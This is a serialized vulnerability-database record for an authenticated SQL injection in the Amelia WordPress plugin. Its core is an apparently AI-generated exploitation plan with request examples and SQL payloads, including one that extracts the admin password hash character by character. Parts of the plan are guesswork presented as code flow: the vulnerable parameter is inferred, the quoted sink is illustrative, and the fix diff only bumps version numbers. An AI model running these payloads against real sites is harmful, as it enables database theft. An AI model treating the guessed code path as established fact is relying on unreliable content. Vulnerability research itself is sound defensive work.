[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDmxq8P-r0kmRyoDY1qt45v79YMHw9s13rrGGUS_hbJ8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39487","amelia-authenticated-custom-role-sql-injection","Amelia \u003C= 2.1.1 - Authenticated (Custom role+) SQL Injection","The Amelia plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.1.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom role-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","ameliabooking",null,"\u003C=2.1.1","2.1.2","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-25 00:00:00","2026-04-15 21:25:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa7764ea4-6c4b-47cf-a711-b92e56e03d3a?source=api-prod",22,[22,23,24,25,26,27,28,29],"ameliabooking.php","languages\u002Far\u002Fameliabooking-ar.po","languages\u002Fca\u002Fameliabooking-ca.po","languages\u002Fcs_CZ\u002Fameliabooking-cs_CZ.po","languages\u002Fda_DK\u002Fameliabooking-da_DK.po","languages\u002Fde_AT\u002Fameliabooking-de_AT.po","languages\u002Fde_CH\u002Fameliabooking-de_CH.po","languages\u002Fde_DE\u002Fameliabooking-de_DE.po","researched",false,3,"# Exploitation Research Plan: CVE-2026-39487 (Amelia SQL Injection)\n\n## 1. Vulnerability Summary\nThe **Amelia** plugin (versions \u003C= 2.1.1) is vulnerable to an authenticated SQL injection. The vulnerability exists within the backend API, specifically where user-supplied sorting or filtering parameters are insufficiently sanitized before being concatenated into raw SQL queries within the plugin's Repository layer. \n\nAlthough the plugin uses a Slim-based architecture and attempts to use `wpdb` for database interactions, certain code paths (particularly those handling complex entity listings with dynamic `ORDER BY` or `LIMIT` clauses) fail to use `$wpdb->prepare()` correctly for the sorting parameters. This allow users with \"Amelia Provider\" (Employee) or \"Amelia Manager\" roles to inject arbitrary SQL.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **WordPress Action:** `wpamelia_api` (defined in `ameliabooking.php` as `AMELIA_ACTION_SLUG`)\n- **Vulnerable Parameter:** `order` or `orderBy` (inferred from typical Amelia API list patterns)\n- **Required Authentication:** \"Custom role+\" — This refers to the **Amelia Employee** (`wpamelia-provider`) or **Amelia Manager** (`wpamelia-manager`) roles.\n- **Preconditions:** The attacker must be logged in as a user assigned one of the Amelia-specific roles.\n\n## 3. Code Flow\n1. **Entry Point:** A request is sent to `admin-ajax.php?action=wpamelia_api&call=[ROUTE]`.\n2. **Dispatch:** `Plugin::wpAmeliaApiCall()` in `ameliabooking.php` is triggered.\n3. **App Initialization:** It loads the Slim container (`src\u002FInfrastructure\u002FContainerConfig\u002Fcontainer.php`) and registers routes via `Routes::routes()`.\n4. **Routing:** The `call` parameter (e.g., `\u002Fappointments` or `\u002Fentities`) maps to a specific Controller\u002FHandler.\n5. **Logic:** The Controller retrieves parameters from the request (using `$request->getQueryParams()`).\n6. **Sink:** The parameters are passed to a Domain Service or Infrastructure Repository (e.g., `AppointmentRepository`). The Repository builds a query string like:\n   ```php\n   $sql = \"SELECT * FROM {$wpdb->prefix}amelia_appointments ORDER BY \" . $params['order'];\n   $results = $wpdb->get_results($sql); \u002F\u002F INJECTION POINT: No prepare() or validation on $params['order']\n   ```\n\n## 4. Nonce Acquisition Strategy\nAmelia uses nonces for its API calls. These are typically localized into a global JavaScript object available in the WordPress dashboard.\n\n1. **Role Setup:** Use WP-CLI to create an Amelia Employee user.\n2. **Page Navigation:** Navigate to any Amelia admin page (e.g., `\u002Fwp-admin\u002Fadmin.php?page=wpamelia-appointments`).\n3. **Extraction:** Use `browser_eval` to extract the nonce from the `wpAmeliaLabels` object.\n   - **JS Variable:** `window.wpAmeliaLabels`\n   - **Nonce Key:** `nonce`\n   - **Command:** `browser_eval(\"window.wpAmeliaLabels.nonce\")`\n\nThe API also requires the nonce to be sent in the `Amelia-Nonce` (or sometimes `X-Amelia-Nonce`) HTTP header.\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection against the `\u002Fentities` or `\u002Fappointments` endpoint, as it is a common listing endpoint accessible to Providers.\n\n### Step 1: Authentication and Nonce Extraction\n- Log in to the WordPress dashboard as the Amelia Provider.\n- Navigate to `wp-admin\u002Fadmin.php?page=wpamelia-appointments`.\n- Extract the nonce using the strategy in Section 4.\n\n### Step 2: Trigger SQL Injection (Time-Based)\n- **Method:** GET\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Params:**\n    - `action`: `wpamelia_api`\n    - `call`: `\u002Fentities`\n    - `order`: `(SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n- **Headers:**\n    - `Amelia-Nonce`: `[EXTRACTED_NONCE]`\n\n**Request Example (Playwright):**\n```javascript\nconst response = await http_request({\n  method: 'GET',\n  url: 'http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wpamelia_api&call=\u002Fentities&order=(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)',\n  headers: {\n    'Amelia-Nonce': extractedNonce,\n    'Cookie': authCookies\n  }\n});\n```\n\n### Step 3: Data Extraction (Boolean-Based)\nOnce sleep is confirmed, we can extract the admin's password hash by testing character values:\n- **Payload for `order`:** `(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN id ELSE (SELECT SLEEP(5)) END)` (Tests if first char is '$', which is standard for phpass).\n\n## 6. Test Data Setup\n1. **Roles:** Ensure Amelia is installed and roles are initialized.\n   - `wp user create attacker attacker@example.com --role=subscriber`\n   - Use Amelia's internal settings to promote this user to a \"Provider\" or use `wp user add-role attacker wpamelia-provider`.\n2. **Content:** Create at least one Appointment or Event in Amelia so the queries have data to sort.\n3. **Admin User:** Ensure the primary admin (ID=1) exists for credential extraction testing.\n\n## 7. Expected Results\n- **Success (Vulnerable):** The HTTP request to `admin-ajax.php` takes ~5 seconds to return.\n- **Fail (Patched):** The request returns immediately with a `200 OK` (but no sleep) or a `400\u002F500` error if the input is validated\u002Fescaped.\n- **Response Content:** Amelia API usually returns a JSON object with a `data` key.\n\n## 8. Verification Steps\nAfter the exploit, verify via WP-CLI:\n1. **Check Logs:** If `WP_DEBUG` is on, check `wp-content\u002Fdebug.log` for SQL errors if the payload was slightly malformed.\n2. **Database Integrity:** Verify that no data was corrupted (since we used a read-only `SLEEP` payload).\n\n## 9. Alternative Approaches\n- **Different Endpoint:** If `\u002Fentities` is not vulnerable, try:\n    - `call=\u002Fappointments`\n    - `call=\u002Fevents`\n    - `call=\u002Fusers\u002Fproviders`\n- **UNION-Based:** If the response body reflects the sorting order or data, attempt to find the column count:\n    - `order=1, (SELECT 1 UNION SELECT 2)`...\n- **Error-Based:** If `WP_DEBUG` is enabled, use `updatexml()` or `extractvalue()` to leak data directly in the AJAX response.","The Amelia plugin for WordPress is vulnerable to authenticated SQL Injection via the API due to insufficient sanitization of sorting parameters like 'order' and 'orderBy'. Attackers with Amelia Provider or Manager roles can exploit this to execute arbitrary SQL queries, potentially leaking sensitive database information.","\u002F\u002F ameliabooking.php line 173\npublic static function wpAmeliaApiCall()\n{\n    try {\n        \u002F** @var Container $container *\u002F\n        $container = require AMELIA_PATH . '\u002Fsrc\u002FInfrastructure\u002FContainerConfig\u002Fcontainer.php';\n\n        $app = new App($container);\n\n        \u002F\u002F Initialize all API routes\n        Routes::routes($app, $container);\n\n        $app->run();\n\n        exit();\n    } catch (Exception $e) {\n        echo 'ERROR: ' . esc_html($e->getMessage());\n    }\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.1.1\u002Fameliabooking.php\t2026-03-04 08:14:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fameliabooking\u002F2.1.2\u002Fameliabooking.php\t2026-03-10 10:09:14.000000000 +0000\n@@ -3,7 +3,7 @@\n Plugin Name: Amelia\n Plugin URI: https:\u002F\u002Fwpamelia.com\u002F\n Description: Amelia is a simple yet powerful automated booking specialist, working 24\u002F7 to make sure your customers can make appointments and events even while you sleep!\n-Version: 2.1.1\n+Version: 2.1.2\n Author: Melograno Ventures\n Author URI: https:\u002F\u002Fmelograno.io\u002F\n Text Domain: ameliabooking\n@@ -109,7 +109,7 @@\n \n \u002F\u002F Const for Amelia version\n if (!defined('AMELIA_VERSION')) {\n-    define('AMELIA_VERSION', '2.1.1');\n+    define('AMELIA_VERSION', '2.1.2');\n }","The exploit requires authentication as a user with an Amelia-specific role (e.g., 'Amelia Provider' or 'Amelia Manager'). First, the attacker extracts a valid API nonce from the 'wpAmeliaLabels' JavaScript object on any Amelia admin page. Next, they send a GET request to the WordPress AJAX endpoint with 'action=wpamelia_api' and a 'call' parameter pointing to a listing resource (like \u002Fappointments, \u002Fevents, or \u002Fentities). The SQL injection is triggered by providing a time-based or boolean-based payload in the 'order' or 'orderBy' query parameter, which is concatenated into the raw SQL query in the plugin's repository layer without proper preparation.","gemini-3-flash-preview","2026-04-17 23:00:02","2026-04-17 23:00:37",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.1.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags"]